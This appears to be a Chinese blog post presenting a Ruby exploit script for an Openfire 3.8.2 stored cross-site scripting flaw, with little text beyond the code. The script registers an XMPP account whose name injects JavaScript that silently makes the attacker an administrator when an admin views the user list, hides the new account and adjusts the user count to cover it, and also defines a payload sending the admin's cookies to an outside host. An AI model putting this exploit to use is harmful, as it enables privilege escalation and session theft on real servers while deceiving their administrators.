Openfire 3.8.2 server 添加管理员漏洞

作者:hack1990 时间:14-05-29 阅读数:1095人阅读

利用代码如下:

require ''rubygems''

require ''xmpp4r''

password="password"

xmpp_server = ''someserver''

webserver = ''someserver''

username="wadd@"+xmpp_server

payload_hide_tr = ''x=document.getElementById("x").parentNode.parentNode.hide();''

payload_hide_star = ''document.getElementById("x").parentNode.previous().children[1].hide();''

payload_count_down = ''el=document.getElementById("x").parentNode.parentNode.parentNode.parentNode.parentNode.parentNode.children[0].children[0];el.innerHTML=parseInt(el.innerHTML)-1;''

payload_edituser = webserver+"/user-edit-form.jsp?username="+username+"&name="+username+"%3Cscript%20id%3D%22x%22%3Eel%3Ddocument.getElementById%28%22x%22%29.parentNode.parentNode.parentNode.parentNode.parentNode.parentNode.children%5B0%5D.children%5B0%5D%3Bel.innerHTML%3DparseInt%28el.innerHTML%29-1%3Bx%3Ddocument.getElementById%28%22x%22%29.parentNode.parentNode.hide%28%29%3B%3C%2Fscript%3E&save=true&email=&isadmin=on"

payload_createuser= webserver+"/user-create.jsp?username="+username+"&name=&email=&password="+password+"&passwordConfirm="+password+"&isadmin=on&create=Create+User"

payload_steal_cookie = ''new Image().src="http://127.0.0.23/log?c="+encodeURI(document.cookie);''

cl = Jabber::Client.new(Jabber::JID.new(username))

cl.connect

begin

  cl.register(password, {''name''=>''''+username+''<script id="x">new Image().src="''+payload_edituser+''";''+payload_count_down+payload_hide_tr+''</script>''})

  puts "Account #{username} now wait for the administrator to view the users/groups page to elevate privileges."

rescue Jabber::ServerError => e

  puts "Error: #{e.error.text}"

end

cl.close

 

发表评论